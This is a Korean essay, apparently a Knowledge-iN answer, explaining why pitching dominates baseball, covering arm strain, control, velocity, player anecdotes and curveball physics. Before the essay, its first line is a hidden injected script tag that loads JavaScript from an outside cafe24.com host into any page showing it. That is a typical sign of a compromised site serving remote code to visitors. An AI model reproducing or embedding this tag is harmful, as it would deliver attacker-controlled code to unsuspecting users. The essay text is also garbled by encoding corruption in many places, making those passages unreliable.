<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script>지식IN 답변 (스크롤 압박~ 큰마음 먹고 스크롤 돌리세요, 누가 쓴글인지 참 길다)


피칭 - 과학적 예술



피칭은 야구의 75%를 차지한다. 생각하기에 따라 그 수치는 70%도 될 수 있고 90%도 될 수 있고 그보다 더 높을 수도 있다. 요즘은 그저 "피칭은 야구의 전부"라고 한마디로 압축해서 말해 버려야 한다. 고성능 컴퓨터의 출현으로 야구통계의 정확도에 대한 막연한 환상이 사라진 이상 차라리 그렇게 상징적으로 말해 버리는 편이 낫다.

피칭이 야구에서 가장 중요한 요소라는 데에는 이론의 여지가 없다. 대체로 투수가 강한 팀이 게임을 승리하고, 투수진이 강한 팀이 우승을 차지한다. 아무리 장타력을 갖춘 타자들이 즐비하더라도 투수진이 허약한 팀은 우승권에 올라설 수 없다.

매스컴이나 야구팬들은 날마다 타격에 대해서만 관심을 쏟기 때문에 투수 부문은 별로 두드러지지 않는다. 1927년과 1936년의 뉴욕 양키스를 비롯, 역대 최강으로 꼽히는 팀들은 막강타력을 자랑하기도 했지만 단단한 마운드도 아울러 갖추고 있었고 그 두가지가 조화를 이룸으로써 최강팀이 될 수 있었던 것이다.

이에 반해 1930년의 필라델피아 필리스(3할타자를 8명이나 보유하고도 8위에 그쳤다), 1947년의 뉴욕 자이언츠(시즌 최다홈런기록을 경신하고도 4위에 머물렀다)는 마운드가 효과적으로 버텨내지 못하는 한 아무리 많은 득점을 올려봤자 승부에서는 허망한 패배만 맛볼 뿐이라는 것을 단적으로 보여주는 사례다. 반면 로스앤젤레스 다저스는 1963년, 1965년, 1966년에 화려한 투수진 하나만으로 리그 우승을 차지했다.

이런 사례들은 얼마든지 열거할 수 있다. 최근의 예를 보면 다저스는 1988년에 마운드만으로 우승을 차지했다. 보스턴 레드삭스와 신시내티 레즈 등은 훌륭한 타선을 갖추고 있었으면서도 정상등극에 실패했다. 그리고 오클랜드 어슬레틱스는 1988년부터 1990년까지 투타의 균형을 이뤄 쾌속항진을 거듭했다.

1960년대의 다저스를 정상으로 이끌었던 월터 앨스턴 Walter Alston은 이 점을 일목요연하게 요약해서 말했다.

"안정된 투수진을 갖추고 있으면 실점이 적기 때문에 아무리 뒤지고 있는 게임이라도 이길 기회를 잡을 수 있다. 꼭 1점이 필요하다면 그 1점을 뽑는 데는 아주 다양한 방법을 동원할 수 있고 상대방의 에러나 행운에 기댈 수도 있다. 어쨌든 게임이 완전히 끝날 때까지 패배가 굳어져 버리는 경우는 드물다. 반대로 우리 투수진이 많은 점수를 줘버리면 게임 초장에 패색이 짙어지고 실점을 만회하기 위해선 우리도 강타나 집중타를 쳐내는 수밖에 없다. 그렇게 되면 행운의 승리도 기대하기 어렵다."

이런 사실을 뒷받침하는 이론이 있다. 훌륭한 투수는 훌륭한 타자들을 막아내지만 훌륭한 타자가 훌륭한 투수를 마구 두들기는 일은 거의 없다. 훌륭한 타자는 평범한 투수들을 마구 두들겨 타율을 끌어올리지만 훌륭한 투수는 훌륭한 타자를 상대하더라도 눈부신 성적을 올린다. 왜 그런지는 이해하기 어렵지 않다. 전술적으로나 산술적으로나 야구의 근본생리가 원래 그렇게 생겨먹었기 때문이다.

투수는 야구장 안에서 전술적으로 가장 중요한 역할을 맡는 인물이다. 투수야말로 진정한 공격자이기 때문이다. 엄밀한 의미의 투·타대결에서 '공격자'의 입장에 서는 것은 투수다. 왜냐하면 게임을 인플레이시키는 주인공이 투수이고 자신의 의도나 능력에 따라 게임을 좌지우지하는 사람도 투수이기 때문이다. 주도권을 쥐고 있는 투수는 자기 능력껏 언제, 어떻게, 어디로 공을 던져야 하는지를 정할 수 있다. 신중하고 계산된 행동을 하는 것은 투수이고, 타자는 그저 투수가 하는 데에 따라 대응할 뿐이다. 그런 점에서 보면 볼을 때려내는 순간까지는 오히려 타자가 수세에 놓이는 셈이다. 배팅을 하는 팀이 공격자의 입장에 서게 되는 것은 공이 배트에 맞고 난 이후다.

산술적으로 살펴보더라도 왜 투수의 임무가 중요한지는 쉽게 드러난다. 룰에 따라 한 게임을 마치려면 27아웃을 잡아야 하며 단 1점만 뺏겨도 지는 게임도 있다. 따라서 수비측의 입장에서는 극도의 안정성이 요구되며 매 이닝마다 3아웃씩 아홉 차례를 거듭 잡아내야 한다. 공격이라는 입장에서 보면 가끔 득점을 올려도 만족할 수 있다. 행운의 안타나 상대방의 실수, 적시타 한방으로 득점할 수 있으며 그중 어느 1점으로도 승리를 거둘 수 있다. 그러나 야수가 아무리 환상적이거나 기막힌 수비를 펼치더라도 그 미기는 1게임을 마??위한 27분의 1(원아웃)을 메우는 것에 지나지 않는다.

따라서 투수는 "어떻게 하면 타자를 아웃시킬 수 있느냐"하는 데에 최대의 주안점을 두고 있다.

피칭을 설명하는 데에 알아두어야 할 몇가지 기본사항을 살펴보자.

첫째는 메이저리그 수준에서는 "투수가 모든 타자들을 삼진으로 처리할 수는 없다". 따라서 아웃카운트를 늘려??위해서는 야수들이 도와줘야 한다. 투수는 자신의 기량을 총동원해서 타자가 강한 타구를 날리지 못하게 처리하는 게 임무이며 그렇게 해놓으면 야수들이 자동적으로 움직여 대부분의 타구를 아웃으로 연결시켜 준다.

타자??강타를 맞지 않으려면 어떻게 해야 하는가? 피칭기술은 바로 여기에 초점을 두고 무궁무진한 발전을 거듭해 왔는데 이 대목은 잠시 설명을 보류하기로 하자. 다만 투수가 이용할 수 있는 재료는 시간(투구스피드를 여러가지로 변형시키는 것), 공간(높거나 낮게, 안쪽이나 바깥쪽으로 던지는 것), 궤적(볼이 곡선을 그리거나 홈플레이트에서 다른 방향으로 휘도록 하는 것), 역습(타자??어느 것을 기대하도록 해놓고 실제로는 다른 것을 던지는 것), 전략(역습과는 별개로 어떤 특정한 상황에서 타자가 선택할 수 있는 여지를 좁혀놓는 것) 등이 있다는 것부터 우선 말해 두기로 한다.

피칭에 관한 두번째 기본사항은 "투구는 인체구조상 매우 부자연스러운 동작"이라는 점이다. 수천만년에 걸쳐 진화해 온 인간의 팔은 두어 시간 동안 어떤 물체를 최대의 힘으로 150회씩이나 반복해서 던져도 견뎌낼 수 있도록 만들어져 있지 않다. 팔을 어깨 위로 들어올려 던지는 오버핸드스로 모션은 인체의 자연스러운 동작에 역행하는 것이다. 어쨌거나 자주, 그리고 강하게 팔을 사용하는 투구행위는 정상적인 신체기능에 나쁜 영향을 미치는 게 사실이다. 팔은 어깨에서 밑으로 매달려 흔들거리고 팔꿈치는 안으로 굽혀지는 게 어디까지나 자연스러운 것인데 피칭은 그 반대방향으로 많은 운동량을 부과해야 하기 때문이다. 결국 피칭은 근육과 인대, 관절, 심지어 특정부위의 뼈?沮?엄청난 부담을 주는 행위다.

신체에 미치는 이러한 부담 때문에 투수는 그 팔을 자주 쓰려면 각별한 방법으로 보호하지 않으면 안된다. 선발투수는 나흘 또는 닷새에 한 번씩 등판한다. 등판하기 전에 (그리고 때로는 피칭을 마??난 다음에도) 트레이너로부터 마사지나 스트레칭 등으로 도움을 받는다. 그러나 투수는 어느 정도의 고통은 부득이하게 각오해야 한다. 그리고 피칭동작에 들어갔을 때 전신이 리드미컬하게 연결되고 게임 후반에 지치지 않기 위해서는 철저히 신체를 단련해야 한다. 한마디로 말해서 투수는 타자가 강하게 때리지 못하도록 하는 지략을 실전으로 연결시키기 위해서는 전신의 건강을 유지하고 팔을 강하게 가다듬어야 한다.

이런 점에 비춰본다면 1884년 시즌에 60승12패를 거둔 호스 레드본 Hoss Radbourne을 비롯한 19세기의 영웅적인 30승투수들이 어떻게 존재할 수 있었는지 이해하기 어려울 것이다. 그러나 그 당시의 야구상황을 살펴보면 의아함은 곧바로 해소된다. 1884년 이전에는 오로지 언더핸드스로만 던질 수 있었을 뿐 팔을 어깨 위로 치켜들어 던지는 오버핸드스로는 일절 허용되지 않았다. 그리고 1차 세계대전(1914년) 시절까지는 아무리 공의 가죽이 찢어지고 더러워지더라도 완전히 없어지지 않으면 계속 사용해야 했다. 이렇게 반발력이 죽은 데드볼 dead ball을 씀으로써 오늘날의 절반 정도의 투구수만로도 한 게임을 마칠 수 있었다. 그리고 아주 특출한 강타자와 마주치지 않는 한 홈런을 맞을 위험이 적으므로 투수들은 오늘날처럼 일구일구에 그토록 신중을 기할 필요도 없었다. 단적으로 말해서 그 시절의 투수들은 별로 힘들이지 않고 던질 수 있었기 때문에 연투가 가능했고 30승씩 올릴 수 있었던 것이다.

이런 신체적인 제약 속에서 투수의 전술이 나온다. 투수는 이론상으로 나와 있는 모든 구질을 사용할 수는 없다. 자신??맞지 않는 구질을 던지려고 했다가는 팔이나 어깨에 고장이 일어날 우려가 있으며, 아무리 건강한 투수라도 사소한 부상이나 피로 때문에 평소 잘 듣던 구질마저 제대로 던지지 못하는 날이 있다. 그래서 감독은 투수??충분한 웜업과 적당한 휴식을 주는 데에 최대의 배려를 아끼지 않는다.

샌디 쿠팩스 Sandy Koufax는 기량이 전성기에 다다랐을 때 이런 문제에 부딪혔던 대표적인 예다. 1963, 64년에 그는 좌타자를 요리할 때 사용하기 위해 사이드암 커브를 개발했다. 그러잖아도 엄청난 스피드로 타자들을 몰아붙이던 그는 타자들이 결코 반기지 않는 ?幣?신무기를 개발했던 것이다. 그러나 쿠팩스는 그걸 사용하면서부터 팔꿈치에 통증이 생기기 시작했다. 나중에 관절염으로 판명됐을 때는 이미 치유불능 상태에 이르렀고 그뒤 두번 다시 사이드암으로 던지지 못했음은 말할 나위도 없다. 이 때문에 그는 1965, 66년의 두 시즌에서 53승'밖에' 따내지 못했다. (하긴 이것만 해도 현대야구에서 2년연속 성적으로는 내셔널리그 좌완투수 최다승기록이다. )
샌디 쿠팩스의 동료였던 모리 윌스 Maury Wills는 감독이 투수??휴식과 워밍업할 시간을 주기 위해 얼마나 고심하는지 극명하게 보여주는 일화를 남겼다.

윌스에 따르면 다음과 같은 일이 있었다. 다저스는 1965년 8월 샌프란시스코에서 중요한 4연전을 치르는 중이었다. 다저스의 마무리요원들은 피로한 상태였기 때문에 앨스턴 감독은 가능한 한 이 4연전에 이들을 등판시키지 않고 버텨볼 심산이었다.

그런데 5회가 되면서 선발투수 클로드 오스틴 Claude Osteen의 구위가 갑자기 떨어지는 바람에 앨스턴 감독은 보브 밀러 Bob Miller를 긴급 투입하지 않을 수 없었다.

앨스턴 감독은 마운드에 내야진을 모아놓고 구수회의를 하면서 모리 윌스?? 주문했다.

"이봐, 모리. 밀러의 몸이 덜 풀렸기 때문에 워밍업할 시간을 벌어줘야겠어. 그러니까 밀러가 들어와 연습투구를 할 때 넌 눈에 티가 들어간 척 쇼를 하란 말이야. 연기를 잘하라구. 우리가 네 눈에서 티를 빼주는 척하면서 시간을 끌테니까 그 사이에 밀러는 충분히 몸을 풀 수 있을 거야."

그것은 아주 그럴싸한 계획이었고 모리 윌스도 감독의 지시에 따라 훌륭하게 연기를 해냈다.

"난 눈을 껌뻑거리면서 비틀거리고 으으 신음소리도 냈죠. 심판까지도 깜빡 속아넘어가 날 도와주지 못해 안타까워 하더군요. 트레이너가 달려오고 다른 선수들도 내 주위를 빙 둘러쌌죠. 나는 밀러가 몸을 풀다 못해 지쳐버릴 정도로 시간을 질질 끌었어요. 그런데 밀러 녀석 하는 꼴 좀 보소. 그 멍청한 놈은 제 몸을 풀 생각은 않고 내 눈에 들어간 티를 빼주겠답시고 수건을 들고 나타나 설치는 거에요."

세번째 기본사항, 투수는 컨트롤을 갖춰야 한다. 이 '컨트롤'이라는 것은 아주 미묘한 말이다. 컨트롤에는 두가지가 있다. 하나는 스트라이크를 던질 수 있는 능력이다. 자신이 갖춘 레퍼토리들이 위력을 잃지 않은 채 스트라이크존을 상시 통과할 수 있도록 해야 한다(그 빈도는 5개 중에 4개, 혹은 10개 중에 9개가 돼야 한다). 이런 넓은 의미의 컨트롤은 메이저리그 투수?都?필수적이다. 그런 컨트롤으 랒지 못한 투수?都? 아무것도 기대할 수 없다.

또하나의 컨트롤은 자로 잰 듯이 정교한 컨트롤이다. 단순히 스트라이크존으로 집어넣는 게 아니라 안쪽이면 안쪽, 바깥쪽이면 바깥쪽, 높은 곳이면 높은 곳, 낮은 곳이면 낮은 곳 등 목표한 지점에 스피드를 줄이지 않은 채 정확히 찔러넣는 것을 말한다. 이것은 숙달하기가 매우 어려운 기술이며, 이런 컨트롤을 발휘할 수 있는 투수야말로 마운드의 대가라고 할 수 있다.

왜 스트라이크를 던질 수 있는 컨트롤은 필수적이고, 정교한 컨트롤은 '신의 은총'이라고 부르는지는 별도의 설명이 필요없을 것이다. 투수가 원하는 지점에 정확히 볼을 던질 수 없다면 타자를 처리하는 조리법이 아무리 좋더라도 형편없는 요리가 되고 만다.

네번째 기본사항은 상당한 '구위'를 가져야 한다는 것이다. 투수는 타자가 대응하기 어려울 만큼 빠른 볼을 던질 수 있어야 한다. 투수가 던지고 싶은 곳에 던진다 하더라도 스피드 부족으로 타자가 쉽게 적응하면 강타를 허용할 수밖에 없다. 메이저리그 투수라면 누구나 스피드가 일정수준을 넘고 있으며 '볼이 느리다', '볼이 순하다' 하는 것은 어디까지나 '상대적'일 뿐이다.

역설적이지만 그렇기 때문에 오히려 초슬로볼이 효과를 볼 때도 있다. 타자들은 일반인들로서는 손도 대지 못할 정도로 빠른 볼을 쳐내기 위해 스윙을 조율해 놓았기 때문에 슬로볼(그래도 보통 사람이 ?藪〈?상당히 빠르다)이 들어오면 곧바로 적응하기가 어렵다. 그 볼을 때리려면 수년간 공들여 가다듬은 반사동작에 수정을 가하지 않으면 안된다. 그러나 느린 공은 머지 않아 스피드 감각을 익혀 템포를 늦춘 타자??얻어맞게 된다.

스피드가 대단치 않다면 그 대신 볼에 상당한 위력이 실려 있어야 한다. 커브나 직구를 목표한 지점에 집어넣는 것만으로는 충분치 않다. 커브라면 완만하게 꺾이는 게 아니라 날카로운 브레이크가 있어야 하며, 직구라면 힘이 배여 있어야 한다. 그렇지 못하면 투수가 제아무리 타자를 잡아내고픈 마음이 간절하더라도 타자를 당해낼 수 없다.

투수들이 드러내는 가장 큰 폐단은 컨트롤을 잡겠답시고 전력투구하지 못하고 무심코 스피드를 늦추는 것이다. 이것은 고의로 공의 스피드를 떨어뜨리는 체인지 오브 페이스와는 전혀 다르다. 스트라이크를 잡거나 특정한 지점으로 던져넣기 위해 컨트롤에 역점을 두며 스피드를 떨어뜨리다 보면 큰 낭패를 보게 된다. 이런 일은 의외로 자주 일어나며 톱클래스의 투수들도 종종 그런 실수를 범하곤 한다.

마지막 다섯번째 기본사항은 '투구동작'이다. 이는 타격편 마지막 부분에서도 잠시 언급한 바 있다. 투수가 던지는 볼은 타자의 눈앞에 갑자기 나타나는 게 아니다. 와인드업, 다리 들어올리기, 팔의 움직임, 투수 뒤의 배경 등이 모두 날아오는 공과 연관이 있다. 투구동작은 투수??유리한 면도 있고 불리한 면도 있다. 먼저 유리한 면을 살펴보면 ▲볼을 최대한 오래 감추고 있거나 ▲투구동작의 속도를 조절하거나 ▲공이 날아가는 각도를 달리 하거나(가령 우완투수가 우타자를 상대로 사이드암 형태로 던지는 따위) 함으로써 자신이 던지려는 투구내용을 상대??속이는 데 이용할 수 있다. 또 불리한 면으로는 구질에 따라 투구동작이 조금이라도 달라질 경우 예민한 타자?都?무슨 공이 들어오는지를 미리 가르쳐주는 꼴이 된다. 따라서 투수는 자기 자신?都?가장 편안하면서(이것이 최우선적으로 생각해야 할 점이다) 상대타자를 헷갈리게 만들기 위해 어떤 구질이든 동일한 폼으로 던지려고 노력하고 있다.

스피드가 뛰어나지 않은 볼을 기본 레퍼토리로 삼고 있는 투수들은(예컨대 스튜 밀러Stu Miller, 에디 로패트 Eddie Lopat, 짐 칸스탄티 Jim Konstanty, 켄트 티컬브 Kent Tekulve, 팔부상을 당하고난 뒤의 페르난도 발렌수엘라 Fernando Valenzuela, 마이크 바디커 Mike Boddicker 등) 타자를 요리하는데 실제 볼도 볼이지만 괴상한 모션에도 크게 의존하고 있다. 그러나 다시 한번 강조하지만 그런 투수들도 느린 볼에다 이따금 타자가 꼼짝 못할 정도로 빠른 볼을 섞어 던질 줄 안다는 것을 잊어서는 안된다.

재미있는 예를 하나 들어보겠다. 뉴욕에 3개팀이 군웅할거하고 있던 1950년대로 거슬러 올라가 보면 뉴욕 자이언츠에 스튜 밀러라는 투수가 있었다. 그가 홈구장으로 사용하던 폴로 그라운드Polo Ground의 양쪽 파울폴까지의 거리는 메이저리그 구장들 중에서 가장 짧았다. 프로생활 초창기의 밀러는 세 종류의 스피드를 갖고 있었다. '느린 볼, 더 느린 볼, 아주 느린 볼'. 『월드 텔리그램 앤드 선』지의 빌 로우더Bill Roeder기자는 밀러를 상대로 타격을 해보고 그 체험기사를 써볼 작정이었다.

로우더 기자는 빌 리그니Bill Rigney감독을 찾아가 취재협조를 요청했다.

"제가 밀러를 상대로 배팅을 헤보고 싶습니다."

"천만에요. 난 그런 모험은 허락할 수 없어요."

리그니감독은 단호하게 거절했다.

야구를 잘 이해하고 있던 로우더 기자는 감독이 거절하는 이유를 나름대로 지레짐작했다.

"감독님은 제가 볼에 맞을까봐 걱정되시는가 본데 전 이래봬도 아직 젊고 날쌥니다. 공이 몸쪽으로 날아오면 얼마든지 피할 수 있어요. 그리고 밀러가 날 일부러 맞히려고 하지도 않을 거구요. 우리 신문사나 나나 독자들??생생한 기사를 전해 줄 수 있게 도와주십시오."

로우더 기자는 이렇게 간청했지만 리그니 감독이 거절한 이유는 전혀 다른 데에 ? 羚駭?

"그게 아니라 당신이 때린 게 운좋게 257피트(78. 12m)밖에 안되는 펜스를 훌렁 넘어갔다고 칩시다. 그러면 어떻게 되겠냔 말이오. 밀러 체면이 뭐가 되겠소?그 다음엔 그가 무슨 낯으로 메이저리그에서 던질 수 있겠느냐 이 말이오, 내 말은."

이렇게 감독의 깊은 사려 덕분에 밀러 심적 타격을 입을 수도 있는 위기를 넘기고 1960년대까지 양리그를 오가며 성공적인 투수생활을 할 수 있었다.

리그니 감독의 염려에는 상당한 일리가 있었다. 밀러의 슬로볼은 아마추어의 눈에는 타격 타이밍이 흐트러질 정도로 빠른 볼과 대비되는 게 아니라 얼마든지 칠 수 있는 볼로 보일 수도 있었으며 보통 투구동작에 젖어 있는 프로선수들을 속여넘기던 비비꼬는 모습도 일반인?都?통하지 않을지도 몰랐다. 밀러는 신문기자 정도야 쉽게 처리할 수 있었겠지만 만에 하나라도 리그니 감독이 우려한 대로 느리게 던진 볼이 운나쁘게 훌렁 담장을 넘어가지 말라는 법도 없었다.

에디 로패트도 밀러처럼 엄청나게 느린 볼을 주무기로 삼는 투수였지만 커브 컨트롤이 완벽하고 구속(球速)을 다양하게 조절하는 것이 최대 장기였다. 그도 필요할 때는 꽤 빠른 공을 던지곤 했는데 그가 던진 빠른 볼은 평소의 느린 볼과 대비되면서 월터 존슨Walter Johnson의 강속구처럼 느껴질 경우도 있었다.

로패트는 양키스에 몸담고 있던 시절(1948∼55년 사이 113승) 성공적으로 투수생활을 하고나서 말년에는 폴 리차즈Paul Richards 감독이 이끄는 볼티모어 오리올스로 트레이드됐다. 리차즈는 볼티모어로 오기 전 시카고 화이트삭스 감독을 맡았을 때 로패트가 마운드를 지킨 양키스에 번번히 농락당하곤 했다. 텍사스주 출신으로 콧대가 높은 리차즈 감독은 투수지도에 일?像?있다는 자부심을 갖고 있었다.

이제 로패트를 휘하에 거느리게 된 리차즈 감독은 한수 지도를 아끼지 않았다.

그는 어떤 그립과 모션을 보여주면서 "공을 이렇게 잡고 이렇게 던지면 틀림없이 도움이 될거야"하고 말했다.

"이렇게요? 난 이렇게, 이렇게, 이렇게 잡고 던지는데요."

로패트는 당장 네 가지 그립과 릴리즈 포인트가 각각 다른 팔의 동작을 시범보였다.

"감독님이 시카고에 계실 때 제가 골탕먹였던 게 무엇 때문이었다고 생각하십니까?"
이렇게 콧대를 눌러놓은 로패트는 감독을 비롯, 단장, 투수코치, 스카우트총책 등을 두루 거친 후 피칭의 진수를 보여주는 차원높은 말을 남겼다.

"타자의 타격 스타일이 어떤지는 그가 실제로 배트를 휘두르지 않더라도 나는 훤히 꿰뚫어볼 수 있었다. 투수는 타자의 다리, 팔, 몸, 눈 등 모든 걸 살펴봐야 한다. 이따금 스트라이크존에서 빠지는 나쁜 볼을 던져놓고 타자가 어떻게 반응하는지를 살펴본다.

세분하면 이렇다. 빠른 직구를 쳐서 1루쪽으로 파울볼이 됐다면(우타자인 경우다) 타자의 스윙이 약간 늦었다는 것을 알게 된다. 파울타구가 3루쪽으로 날아갔다면 스윙이 약간 빨랐던 것이다. 투수가 자신의 직구에 자신감을 갖고 있고 타자가 끌어당기지 못하게 할 생각이라면, 1루쪽 파울볼을 낸 타자?都?하나 더 던져도 괜찮다. 그러나 스윙이 빨라 3루쪽 파울볼을 낸 타자??그 볼을 또다시 던지는 것은 무모한 짓이다. 이렇듯이 일련의 투구를 해가면서 앞의 것을 기초로 다음에 던질 공을 찾아내야 한다."

피칭에 담겨있는 과학적 요소는 타격보다 훨씬 많다. 그립이나 볼을 놓는 법, 팔동작, 몸의 움직임 등 피칭의 기법은 타격기법보다 교육을 통해 향상시킬 수 있는 폭이 훨씬 넓으며, 꾸준한 연습으로 완벽하게 익혀두어야 될 사항도 많다. 각종 레퍼토리의 그립이나 볼을 던지는 요령은 투수와 투수코치?都?매우 중대한 관심사이겠지만 여기서는 상세히 논할 필요가 없을 것이다.

다만 기본적인 구질에 대해서는 개괄적인 설명을 해보기로 한다. 그러나 그에 앞서 야구계에서 종종 논란이 되고 있는 문제부터 짚고 넘어가도록 하자.

즉 투·포수 사이의 60피트6인치 거리에서 커브를 던지면 진짜로 공의 궤적이 휘느냐, 아니면 단순한 눈의 착각에 불과하냐 하는 것이다.

정답은 둘 다 옳다는 것이다. 공의 비행궤적이 실제로 휘기도 하지만 눈의 착각도 적지 않게 작용한다.

볼에 가해진 회전력만으로는 절대로 공의 궤적이 꺾일 수 없다는 수학적 설명이 헤아릴 수 없을 만큼 많이 나와 있다. 그런가 하면 실제로 공의 궤적이 휘는 이유를 설명하는 이론도 상당히 많다. 요즘은 물리학적 이론을 동원한 다음과 같은 설명이 가장 널리 받아들여지고 있다. 즉 투수가 볼에 가한 회전이 공의 반대쪽에 공기저항을 일으켜 양쪽에 압력 차이가 나기 때문에 어느 한쪽으로 휘게 된다는 것이다. 공이 앞으로 나가려는 전진력이 줄어들면서 굴절이 커진다. 이와 동시에 공에는 투수의 손을 떠나는 순간부터 땅이 끌어내리는 중력이 작용한다. 이런 것을 종합하면 회전이 먹힌 방향으로 공이 휘게 된다는 결론이 나온다.

그러나 홈플레이트 옆에 서 있는 타자가 노려보고 있는 것은 '실제' 볼이 궤적이 아니라 '외견상의' 궤적이다. 필드의 상공에서 밑으로 내려다보고 찍은 사진에 나타난 공의 실제궤적은 타자가 대응해야 하는 육안상의 궤적과는 상당한 차이가 있음을 알 수 있다. 타자는 가만히 서 있는 상태에서 자기쪽으로 날아드는 공을 보기 때문에 그의 눈에는 궤적이 다르게 보이게 마련이다. 공이 처음 투수의 손에서 떠난 순간에는 방향의 변화가 비교적 작지만 홈플레이트쪽으로 ?樗?날아올수록 좌우 또는 상하 변화의 폭이 훨씬 크게 느껴진다.

그렇다면 타자는 실제로 무엇을 향해 스윙하는가?
눈과 머리의 지시에 따라 근육을 움직이기까지는 아무리 짧더라도 분명히 일정한 시간이 걸린다. 그리고 홈플레이트 부근에서 볼과 배트를 맞추려면 볼이 플레이트에 다다르기 '전에' 스윙을 시작해야 한다.

그러므로 이런 일이 일어난다. 타자는 볼이 투수의 손에서부터 40피드(12m) 가량 날아올 때까지 공의 비행상태를 살핀다. 그 거리까지의 궤적을 토대로 나머지 비행궤적을 머리 속에서 그려보고 그에 맞춰 스윙을 시작하게 된다. 이런 작업은 물론 무의식적으로 펼쳐진다. 인간의 두뇌는 지금까지 개발된 어떤 컴퓨터보다도 정교할 뿐 아니라 경험까지 가미돼 있기 때문에 큰 어려움 없이 공을 맞힐 수 있는 것이다. 테드 윌리엄스가 그랬다는 것처럼 배트와 볼이 부딪치는 장면까지 볼 수 있는지 없는지 모르겠지만 그것의 진실성 여부는 그다지 중요한 게 아니다. 배트의 스윙은 그보다 앞서 시작되며 의식적인 결정과(스윙을 할 것인가, 말 것인가) 무의식적인 결정은(어디를 향해 스윙하느냐) 볼이 홈까지 3분의 2쯤 들어왔을 때까지 끝마쳐야 한다.

이런 이유 때문에 타자(또는 포수나 구심)의 눈에 보이는 '외견상의' 커브는 실제보다 휘어지는 각도가 크게 보인다. 이런 것은 TV중계를 볼 때 홈플레이트 뒤의 카메라로 잡은 그림과 센터쪽 카메라로 잡은 그림에 차이가 나는 것에서도 알 수 있다. 센터쪽에서 잡은 그림은 홈플레이트 뒤에서 잡은 것보다 커브각도가 작아 보인다. 이 카메라들은 현장에서 멀리 떨어진 곳에 설치돼 있기 때문에 그 낙차가 그다지 두드러지지 않을지도 모른다. 그러나 현장에 서 있는 타자의 눈에는 이 낙차가 어마어마한 것이다. 변화구의 굴절은 전체적으로 서서히, 그리고 일정하게 일어나지만 타자의 눈에 비치는 '가시적인' 변화는 홈플레이트 근처에서 갑자기 각도가 꺾이는 것처럼 느껴지게 된다.

초창기 뉴욕 메츠의 투수였던 제이 후크 Jay Hook는 뛰어난 풍채에 비해 성적은 신통치 못했다. 원래 공학기사였던 그는 언젠가 『뉴욕 타임즈』에 도표와 공식을 곁들여가며 왜 커브를 던지면 공의 궤적이 휘는지를 설명하는 그럴싸한 논문을 기고했다. 그 글을 보고 야구기자들은 '팰 조이'라는 극에 삽입된 로저스 앤드 하트의 [난 책을 쓸 수 있어]라는 곡에 대입시켜 다음과 같이 가사를 바꾼 작품을 만들어냈다.

일자하
야구공의 회전으로 공이 꺾이는지에 대해 물으신다면 커브볼의 궤적을 설명하는 이론이나 공식은 죄다 알려드리죠. 공기 밀도를 계산하고 중력도 생각해야지. 하지만 커브궤적은 알면 뭐하나. 홈런만 펑펑 맞는데. [일자하 끝]

대강 감을 잡았겠지만 제이 후크가 가진 문제점은 커브가 홈으로 날아들면서 실제로 휘게 되는 물리적 이론을 알고 모르고 하는 데에 있는 게 아니라 그가 던진 공이 배트에 두들겨 맞았다 하면 130m 이상 날아가버린다는 데에 있었다.

따라서 우리는 투수가 던진 커브가 실제로 휜다는 사실을 일단 인정할 수밖에 없다. 자, 그러면 앞서 말한 대로 주류를 이루는 구질들을 살펴보도록 하자.

①가장 기본적인 것은 직구 fastball다. 직구라고 해도 어느 쪽으로든 약간씩 휘게 마련이지만 투수가 의도한 바는 공이 직선으로 날아가도록 하는 것이다. 이 구질은 궤적이 똑바르기 때문에 투수가 노리는 목표지점으로 던지기가 가장 쉽다. 반면 타자로서도 정확한 판단을 내리기가 좋다. 직구의 효용은 스피드에 있다. 스피드가 별로 없어 곧은 직선을 그리지 못하고 밑으로 처지는 것도 직구라도 부르며 직구를 제외한 모든 것은 변화구 breaking ball의 범주에 들어간다. 정말 빠른 직구는 약간 '솟아오르는' 느낌을 준다. 솟아오른다는 것은 사실상 눈의 착각에 불과하지만 여기엔 대단한 묘미가 깃들어 있다. 투수는 평면에서 10인??높은 '언덕'(마운드)에서 아래를 향해 공을 던진다. 대부분은 자신의 머리 높이에서 공을 놓기 때문에 홈플레이트 옆의 타자의 입장에서 본다면 지상 약 2m 높이에서 공이 떨어지는 것처럼 보인다. 일반적인 타자의 스트라이크존 상한선은 130㎝(요즘은 그보다 더 낮아졌다) 정도이므로 직구는 18m를 날아오는 동안 수평에서 최소한 80㎝ 이상 밑으로 떨어져야 스트라이크가 될 수 있다.

공의 스피드가 빠르면 빠를수록 같은 거리를 날아가는 데 걸리는 시간은 짧아질 것이고 따라서 투·포수 사이를 날아가는 동안 중력의 영향도 덜 받는다. 땅이 물체를 끌어당기는 중력은 앞으로 전진하는 힘의 크기와 상관없이 시간에 비례해서 일정하게 작용한다는 것은 상식이다.

그런데 타자는 수천 개의 공을 때려본 경험을 바탕으로 직구의 궤적을 머리 속으로 미리 그려놓고 있다. 타자는 공이 6m 앞에 다가왔을 때 이미 스윙한다는 판단을 내려야 한다. 그 시점에서는 스피드를 가늠할 기준이 없으므로 그 공도 평소에 자기가 보아왔던 것과 엇비슷한 궤적을 그리리라고 '예측하고' 스윙할 수밖에 없다. 그러나 탁월하게 빠른 직구는 날아오는 시간이 짧기 때문에 밑으로 떨어지는 '폭'이 보통의 직구보다 작다. 그러니까 탁월하게 빠른 직구는 타자가 머리 속으로 그린 직구보다 '높게' 날아들어 타자의 눈에는 공이 '솟아오르는 것처럼' 보이는 것이다.

솟아오르는 것과는 별개로 빼어난 직구는 약간씩 '꿈틀댄다 move. ' 이를 "공이 살아있다 live"고 표현한다. 같은 스피드를 갖고도 똑바로 날아드는 공은 "밋밋하다 flat"고 하며 대단히 빠르면서도 곧잘 통타당하는 직구는 주로 이런 것들이다.

타자를 압도하는 직구는 투수??가장 훌륭한 무기다. 월터 존슨 Walter Johnson을 비롯, 보브 펠러 Bob Feller, 레프티 그로브 Lefty Grove, 놀란 라이언 Nolan Ryan 등이 슈퍼스타가 된 것도 ?幣?스피드를 가진 직구 덕분이다. '살아있는 전설'로 불리는 투수들도 어디까지나 현실적인 위력을 바탕으로 탄생하는 셈이다. 아무튼 탁월한 스피드라면 타자를 완전히 압도할 수 있을 정도를 가리킨다.

